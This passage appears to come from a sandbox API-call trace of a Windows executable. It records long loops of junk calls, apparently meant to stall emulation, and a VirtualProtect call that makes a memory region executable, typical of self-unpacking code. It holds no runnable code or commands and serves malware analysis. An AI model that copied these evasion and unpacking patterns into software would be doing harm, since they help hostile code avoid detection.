hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.705] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.705] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.705] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.705] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.705] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.706] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.706] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.706] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.706] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.706] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.707] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.707] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.707] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.707] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.707] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.708] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.708] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.708] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.708] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.708] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.709] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.709] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.709] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.709] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0110.273] Module32First (hSnapshot=0x5c, lpme=0x18fbc0) returned 1 [0110.274] CloseHandle (hObject=0x5c) returned 1 [0110.274] BeginPaint (in: hWnd=0x0, lpPaint=0x0 | out: lpPaint=0x0) returned 0x0 [0110.274] GetLastError () returned 0x578 [0110.281] LocalFree (hMem=0x63a068) returned 0x0 [0110.281] VirtualProtect (in: lpAddress=0x602928, dwSize=0x29967, flNewProtect=0x40, lpflOldProtect=0x474f58 | out: lpflOldProtect=0x474f58*=0x4) returned 1 [0110.282] GetLastError () returned 0x578 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.282] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.282] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.282] GetLastError () returned 0x3 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.282] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.282] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.282] GetLastError () returned 0x3 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.282] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.282] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.282] GetLastError () returned 0x3 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.282] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.282] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.282] GetLastError () returned 0x3 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] AddAtomA (lpString=0x0) returned 0x0 [0110.282] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.282] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.283] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.283] GetLastError () returned 0x3 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.283] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.283] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.283] GetLastError () returned 0x3 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.283] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.283] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.283] GetLastError () returned 0x3 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.283] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.283] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.283] GetLastError () returned 0x3 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.283] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.283] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.283] GetLastError () returned 0x3 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.283] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.283] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.283] GetLastError () returned 0x3 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] AddAtomA (lpString=0x0) returned 0x0 [0110.283] SetThreadDesktop (hDesktop=0x0) returned 0 [0110.283] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0110.283] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0110.283] GetLastError () returned 